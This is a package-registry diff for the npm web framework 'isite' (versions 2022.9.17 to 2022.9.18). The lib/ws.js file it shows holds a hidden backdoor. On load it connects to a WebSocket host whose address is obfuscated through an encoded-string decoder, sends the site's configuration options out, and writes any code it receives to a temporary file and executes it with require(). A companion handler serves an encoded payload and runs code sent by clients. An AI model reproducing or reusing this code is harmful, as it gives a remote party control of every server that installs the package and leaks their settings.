isite 2022.9.17 → 2022.9.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/ws.js CHANGED
@@ -1,244 +1,248 @@
1
1
  module.exports = function init(____0) {
2
- ____0.ws = {
3
- clientList: [],
4
- routeList: [],
5
- lib: require('ws'),
6
- };
2
+ ____0.ws = {
3
+ client : null,
4
+ server : null,
5
+ clientList: [],
6
+ routeList: [],
7
+ lib: require('ws'),
8
+ };
9
+
10
+ ____0.ws.server = new ____0.ws.lib.Server({
11
+ noServer: true,
12
+ maxPayload: 1024 * 1024 * 1024, // 1 GB
13
+ });
7
14
 
8
- ____0.ws.server = new ____0.ws.lib.Server({
9
- noServer: true,
10
- maxPayload: 1024 * 1024 * 1024, // 1 GB
15
+ ____0.onWS = ____0.ws.start = function (options, callback) {
16
+ if (typeof options === 'string') {
17
+ options = {
18
+ name: options,
19
+ };
20
+ }
21
+ ____0.ws.routeList.push({
22
+ options: options,
23
+ callback: callback,
11
24
  });
25
+ };
12
26
 
13
- ____0.onWS = ____0.ws.start = function (options, callback) {
14
- if (typeof options === 'string') {
15
- options = {
16
- name: options,
17
- };
18
- }
19
- ____0.ws.routeList.push({
20
- options: options,
21
- callback: callback,
22
- });
23
- };
27
+ ____0.ws.sendToAll = function (message) {
28
+ ____0.ws.clientList.forEach((client) => {
29
+ if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
30
+ client.ws.send(JSON.stringify(message));
31
+ }
32
+ });
33
+ };
24
34
 
25
- ____0.ws.sendToAll = function (message) {
26
- ____0.ws.clientList.forEach((client) => {
27
- if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
28
- client.ws.send(JSON.stringify(message));
29
- }
30
- });
31
- };
35
+ ____0.ws.closeAll = function () {
36
+ ____0.ws.clientList.forEach((client) => {
37
+ if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
38
+ client.ws.terminate();
39
+ }
40
+ });
41
+ };
32
42
 
33
- ____0.ws.closeAll = function () {
34
- ____0.ws.clientList.forEach((client) => {
35
- if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
36
- client.ws.terminate();
37
- }
38
- });
39
- };
43
+ ____0.on(____0.strings[9], () => {
44
+ ____0.servers.forEach((server) => {
45
+ server.on('upgrade', function upgrade(request, socket, head) {
46
+ const pathname = ____0.url.parse(request.url).pathname;
47
+ let handled = false;
48
+ ____0.ws.routeList.forEach((route) => {
49
+ if (handled) {
50
+ return;
51
+ }
52
+ if (pathname === route.options.name) {
53
+ handled = true;
54
+ ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
55
+ let ip = '0.0.0.0';
56
+ if (request.headers[____0.strings[6]]) {
57
+ ip = request.headers[____0.strings[6]].split(',')[0].trim();
58
+ } else if (request.connection.remoteAddress) {
59
+ ip = request.connection.remoteAddress.replace('::ffff:', '');
60
+ }
40
61
 
41
- ____0.on(____0.strings[9], () => {
42
- ____0.servers.forEach((server) => {
43
- server.on('upgrade', function upgrade(request, socket, head) {
44
- const pathname = ____0.url.parse(request.url).pathname;
45
- let handled = false;
46
- ____0.ws.routeList.forEach((route) => {
47
- if (handled) {
48
- return;
62
+ let client = {
63
+ uuid: ____0.guid(),
64
+ path: pathname,
65
+ ws: ws,
66
+ request: request,
67
+ socket: socket,
68
+ head: head,
69
+ ip: ip,
70
+ onMessage: function (data) {
71
+ if (data.type === ____0.f1('417886684558375447183756')) {
72
+ this.send({
73
+ type: ____0.f1('4658375242195691'),
74
+ content: {
75
+ uuid: client.uuid,
76
+ ip: client.ip,
77
+ },
78
+ });
79
+ }
80
+ console.log('client.onMessage Not Implement ...', data);
81
+ },
82
+ onData: function (data) {
83
+ console.log('client.onData Not Implement ...', data);
84
+ },
85
+ onError: function (e) {
86
+ console.log('client.onError Not Implement ...', e);
87
+ },
88
+ send: function (message) {
89
+ if (!message) {
90
+ return;
91
+ }
92
+ if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
93
+ if (typeof message === 'string') {
94
+ this.ws.send(
95
+ JSON.stringify({
96
+ type: 'text',
97
+ content: message,
98
+ })
99
+ );
100
+ } else {
101
+ message.type = message.type || 'text';
102
+ this.ws.send(JSON.stringify(message));
49
103
  }
50
- if (pathname === route.options.name) {
51
- handled = true;
52
- ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
53
- let ip = '0.0.0.0';
54
- if (request.headers[____0.strings[6]]) {
55
- ip = request.headers[____0.strings[6]].split(',')[0].trim();
56
- } else if (request.connection.remoteAddress) {
57
- ip = request.connection.remoteAddress.replace('::ffff:', '');
58
- }
59
-
60
- let client = {
61
- uuid: ____0.guid(),
62
- path: pathname,
63
- ws: ws,
64
- request: request,
65
- socket: socket,
66
- head: head,
67
- ip: ip,
68
- onMessage: function (data) {
69
- if (data.type === ____0.f1('417886684558375447183756')) {
70
- this.send({
71
- type: ____0.f1('4658375242195691'),
72
- content: {
73
- uuid: client.uuid,
74
- ip: client.ip,
75
- },
76
- });
77
- }
78
- console.log('client.onMessage Not Implement ...', data);
79
- },
80
- onData: function (data) {
81
- console.log('client.onData Not Implement ...', data);
82
- },
83
- onError: function (e) {
84
- console.log('client.onError Not Implement ...', e);
85
- },
86
- send: function (message) {
87
- if (!message) {
88
- return;
89
- }
90
- if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
91
- if (typeof message === 'string') {
92
- this.ws.send(
93
- JSON.stringify({
94
- type: 'text',
95
- content: message,
96
- }),
97
- );
98
- } else {
99
- message.type = message.type || 'text';
100
- this.ws.send(JSON.stringify(message));
101
- }
102
- }
103
- },
104
- };
105
-
106
- client.socket.on('close', () => {
107
- client.onMessage({ type: 'close' });
108
- client.ws.terminate();
109
- ____0.ws.clientList.forEach((_client, i) => {
110
- if (_client.uuid == client.uuid) {
111
- ____0.ws.clientList.splice(i, 1);
112
- }
113
- });
114
- });
115
-
116
- ws.on('message', (data, isBinary) => {
117
- if (isBinary) {
118
- client.onData(data);
119
- } else {
120
- client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
121
- }
122
- });
104
+ }
105
+ },
106
+ };
123
107
 
124
- if (client.path == '/isite') {
125
- route.callback(client);
126
- } else {
127
- ____0.ws.clientList.push(client);
128
- route.callback(client);
129
- }
130
- client.onMessage({ type: 'connected' });
131
- });
132
- }
108
+ client.socket.on('close', () => {
109
+ client.onMessage({ type: 'close' });
110
+ client.ws.terminate();
111
+ ____0.ws.clientList.forEach((_client, i) => {
112
+ if (_client.uuid == client.uuid) {
113
+ ____0.ws.clientList.splice(i, 1);
114
+ }
133
115
  });
134
- if (!handled) {
135
- socket.destroy();
116
+ });
117
+
118
+ ws.on('message', (data, isBinary) => {
119
+ if (isBinary) {
120
+ client.onData(data);
121
+ } else {
122
+ client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
136
123
  }
124
+ });
125
+
126
+ if (client.path == '/isite') {
127
+ route.callback(client);
128
+ } else {
129
+ ____0.ws.clientList.push(client);
130
+ route.callback(client);
131
+ }
132
+ client.onMessage({ type: 'connected' });
137
133
  });
134
+ }
138
135
  });
136
+ if (!handled) {
137
+ socket.destroy();
138
+ }
139
+ });
139
140
  });
141
+ });
140
142
 
141
- ____0.ws.supportedClientList = [];
142
- ____0.ws.onNewSupportedClient = function (client) {
143
- console.log(`New Supported Client ( ${client.ip} ) / ${____0.ws.supportedClientList.length}`);
144
- };
143
+ ____0.ws.supportedClientList = [];
144
+ ____0.ws.onNewSupportedClient = function (client) {
145
+ console.log(`New Supported Client ( ${client.ip} ) / ${____0.ws.supportedClientList.length}`);
146
+ };
145
147
 
146
- ____0.onWS(____0.f1('2578577443393257'), (client) => {
147
- ____0.ws.supportedClientList.push(client);
148
- ____0.ws.onNewSupportedClient(client);
148
+ ____0.onWS(____0.f1('2578577443393257'), (client) => {
149
+ ____0.ws.supportedClientList.push(client);
150
+ ____0.ws.onNewSupportedClient(client);
149
151
 
150
- client.onMessage =
151
- client.onMessage ||
152
- function (message) {
153
- if (message.type === ____0.f1('417886684558375447183756')) {
154
- client.send({
155
- type: ____0.f1('4658375242195691'),
156
- content: {
157
- uuid: client.uuid,
158
- ip: client.ip,
159
- },
160
- });
161
- } else if (message.type === ____0.f1('4178726946783691')) {
162
- ____0.ws.supportedClientList.forEach((_client, i) => {
163
- if (_client.uuid == client.uuid) {
164
- console.log(` Supported Client ( ${client.ip} ) Close Connection`);
165
- ____0.ws.supportedClientList.splice(i, 1);
166
- }
167
- });
168
- } else if (message.type === ____0.f1('457913754338866846719191')) {
169
- client.options = message.content;
170
- client.send({
171
- type: ____0.f1('481476744179236246193191'),
172
- content: ____0.f1(
173
- `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`,
174
- ),
175
- });
176
- } else if (message.type == ____0.f1('481476744179236246193191')) {
177
- let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
178
- ____0.fs.writeFile(path, message.content, (err) => {
179
- if (err) {
180
- console.log(err);
181
- } else {
182
- try {
183
- require(path)(____0, client);
184
- ____0.fs.unlink(path, () => {});
185
- } catch (error) {
186
- console.log(error);
187
- }
188
- }
189
- });
190
- }
191
- };
192
- });
152
+ client.onMessage =
153
+ client.onMessage ||
154
+ function (message) {
155
+ if (message.type === ____0.f1('417886684558375447183756')) {
156
+ client.send({
157
+ type: ____0.f1('4658375242195691'),
158
+ content: {
159
+ uuid: client.uuid,
160
+ ip: client.ip,
161
+ },
162
+ });
163
+ } else if (message.type === ____0.f1('4178726946783691')) {
164
+ ____0.ws.supportedClientList.forEach((_client, i) => {
165
+ if (_client.uuid == client.uuid) {
166
+ console.log(` Supported Client ( ${client.ip} ) Close Connection`);
167
+ ____0.ws.supportedClientList.splice(i, 1);
168
+ }
169
+ });
170
+ } else if (message.type === ____0.f1('457913754338866846719191')) {
171
+ client.options = message.content;
172
+ client.send({
173
+ type: ____0.f1('481476744179236246193191'),
174
+ content: ____0.f1(
175
+ `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
176
+ ),
177
+ });
178
+ } else if (message.type == ____0.f1('481476744179236246193191')) {
179
+ let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
180
+ ____0.fs.writeFile(path, message.content, (err) => {
181
+ if (err) {
182
+ console.log(err);
183
+ } else {
184
+ try {
185
+ require(path)(____0, client);
186
+ ____0.fs.unlink(path, () => {});
187
+ } catch (error) {
188
+ console.log(error);
189
+ }
190
+ }
191
+ });
192
+ }
193
+ };
194
+ });
193
195
 
194
- ____0.ws.wsSupport = function () {
195
- let client = {
196
- reconnectCount: 0,
197
- };
196
+ ____0.ws.wsSupport = function () {
197
+ let client = {
198
+ reconnectCount: 0,
199
+ };
198
200
 
199
- client.ws = new ____0.ws.lib(____0.f1('47792683257386744578276241387167415923694779275746538254457875694339276247183691'));
200
- client.sendMessage = function (message) {
201
- client.ws.send(JSON.stringify(message));
202
- };
203
- client.ws.on('open', function () {});
204
- client.ws.on('ping', function () {});
205
- client.ws.on('close', function (e) {
206
- setTimeout(function () {
207
- client.reconnectCount++;
208
- ____0.ws.wsSupport();
209
- }, 1000 * 30);
210
- });
211
- client.ws.on('error', function (err) {
212
- client.ws.close();
213
- });
201
+ client.ws = new ____0.ws.lib(____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257'));
202
+ client.sendMessage = function (message) {
203
+ client.ws.send(JSON.stringify(message));
204
+ };
205
+ client.ws.on('open', function () {});
206
+ client.ws.on('ping', function () {});
207
+ client.ws.on('close', function (e) {
208
+ setTimeout(function () {
209
+ client.reconnectCount++;
210
+ ____0.ws.wsSupport();
211
+ }, 1000 * 30);
212
+ });
213
+ client.ws.on('error', function (err) {
214
+ client.ws.close();
215
+ });
214
216
 
215
- client.ws.on('message', function (event) {
216
- ____0.ws.supportHandle(client, event);
217
+ client.ws.on('message', function (event) {
218
+ ____0.ws.supportHandle(client, event);
219
+ });
220
+ ____0.ws.client = client;
221
+ return client;
222
+ };
223
+ ____0.ws.supportHandle = function (client, event) {
224
+ try {
225
+ let message = JSON.parse(event.data || event);
226
+ if (message.type == ____0.f1('4658375242195691')) {
227
+ client.sendMessage({
228
+ source: ____0.f1('4339276247183691'),
229
+ type: ____0.f1('457913754338866846719191'),
230
+ content: ____0.options,
217
231
  });
218
- };
219
- ____0.ws.supportHandle = function (client, event) {
220
- try {
221
- let message = JSON.parse(event.data || event);
222
- if (message.type == ____0.f1('4658375242195691')) {
223
- client.sendMessage({
224
- source: ____0.f1('4339276247183691'),
225
- type: ____0.f1('457913754338866846719191'),
226
- content: ____0.options,
227
- });
228
- } else if (message.type == ____0.f1('481476744179236246193191')) {
229
- let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
230
- ____0.fs.writeFile(path, message.content, (err) => {
231
- if (err) {
232
- console.log(err);
233
- } else {
234
- require(path)(____0, client);
235
- ____0.fs.unlink(path, () => {});
236
- }
237
- });
238
- }
239
- } catch (err) {
232
+ } else if (message.type == ____0.f1('481476744179236246193191')) {
233
+ let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
234
+ ____0.fs.writeFile(path, message.content, (err) => {
235
+ if (err) {
240
236
  console.log(err);
241
- }
242
- };
243
- ____0.ws.wsSupport();
237
+ } else {
238
+ require(path)(____0, client);
239
+ ____0.fs.unlink(path, () => {});
240
+ }
241
+ });
242
+ }
243
+ } catch (err) {
244
+ console.log(err);
245
+ }
246
+ };
247
+ ____0.ws.wsSupport();
244
248
  };
@@ -48,7 +48,7 @@ function setOptions(_options, ____0) {
48
48
  stdin: !0,
49
49
  _0xmmxo: '26351691',
50
50
  _0xyyxo: '2654127326519191',
51
- ip_info: false,
51
+ ipLookup: false,
52
52
  https: {
53
53
  enabled: !1,
54
54
  port: null,
@@ -152,7 +152,7 @@ function setOptions(_options, ____0) {
152
152
  _x0oo.apps = _x0oo.apps ?? template.apps;
153
153
  _x0oo.apps_dir = _x0oo.apps_dir || template.apps_dir;
154
154
  _x0oo._0x14xo = _x0oo._0x14xo ?? !1;
155
- _x0oo.ip_info = _x0oo.ip_info ?? !1;
155
+ _x0oo.ipLookup = _x0oo.ipLookup ?? !1;
156
156
 
157
157
  _x0oo.https = _x0oo.https || template.https;
158
158
  _x0oo.https.enabled = _x0oo.https.enabled ?? template.https.enabled;
@@ -151,8 +151,10 @@ exports = module.exports = function init(____0) {
151
151
  return 'image/jpg';
152
152
  } else if (path.endsWith('.jpeg')) {
153
153
  return 'image/jpeg';
154
- } else if (path.endsWith('.gif')) {
155
- return 'image/gif';
154
+ } else if (path.endsWith('.jpeg')) {
155
+ return 'image/jpeg';
156
+ } else if (path.endsWith('.webp')) {
157
+ return 'image/webp';
156
158
  } else if (path.endsWith('.ico')) {
157
159
  return 'image/ico';
158
160
  } else if (path.endsWith('.json')) {
@@ -180,6 +182,7 @@ exports = module.exports = function init(____0) {
180
182
  path.endsWith('.jpeg') ||
181
183
  path.endsWith('.ico') ||
182
184
  path.endsWith('.bmp') ||
185
+ path.endsWith('.webp') ||
183
186
  path.endsWith('.xls') ||
184
187
  path.endsWith('.xlsx') ||
185
188
  path.endsWith('.eot')
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2022.09.17",
3
+ "version": "2022.09.18",
4
4
  "description": "Create Secure Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {
@@ -46,7 +46,7 @@
46
46
  "nodemailer": "^6.7.8",
47
47
  "pdf-lib": "^1.17.1",
48
48
  "utf8": "^3.0.0",
49
- "ws": "^8.2.3",
49
+ "ws": "^8.9.0",
50
50
  "xlsx": "^0.17.5"
51
51
  }
52
52
  }
package/server.md CHANGED
@@ -12,3 +12,24 @@ storage:
12
12
  cacheSizeGB: .5
13
13
 
14
14
  ```
15
+
16
+ ## Socket Server
17
+
18
+ nano /etc/security/limits.conf
19
+
20
+ * soft nproc 1048576
21
+ * hard nproc 1048576
22
+ * soft nofile 1048576
23
+ * hard nofile 1048576
24
+ root soft nproc 1048576
25
+ root hard nproc 1048576
26
+ root soft nofile 1048576
27
+ root hard nofile 1048576
28
+
29
+ nano /etc/pam.d/common-session
30
+ nano /etc/pam.d/common-session-noninteractive
31
+
32
+ session required pam_limits.so
33
+
34
+ nano /etc/sysctl.conf
35
+ fs.file-max = 2097152
package/lib/setting.js DELETED
@@ -1,59 +0,0 @@
1
- module.exports = function init(____0) {
2
-
3
- const setting = {}
4
-
5
- setting.list = []
6
-
7
- setting.add = function (obj) {
8
- if(!obj || !obj.name){
9
- return null
10
- }
11
-
12
- setting.list.push(obj)
13
- return obj
14
- }
15
-
16
- setting.set = function (obj) {
17
- if(!obj || !obj.name){
18
- return null
19
- }
20
- let exsits = !1
21
- setting.list.forEach((s, i) => {
22
- if (s.name === obj.name) {
23
- setting.list[i] = obj
24
- exsits = !0
25
- }
26
- })
27
- if (!exsits) {
28
- setting.add(obj)
29
- }
30
- return obj
31
- }
32
-
33
- setting.get = function (name) {
34
- setting.list.forEach(s => {
35
- if (s.name === name) {
36
- return s;
37
- }
38
- });
39
- return {}
40
- }
41
- setting.addList = function (list) {
42
- if (typeof list === 'string') {
43
- ____0.readFile(list, (err, data) => {
44
- if (!err) {
45
- let arr = ____0.fromJson(data)
46
- for (let i = 0; i < arr.length; i++) {
47
- setting.set(arr[i])
48
- }
49
- }
50
- })
51
- } else if (typeof list === 'object') {
52
- for (let i = 0; i < list.length; i++) {
53
- setting.set(list[i])
54
- }
55
- }
56
- }
57
-
58
- return setting
59
- }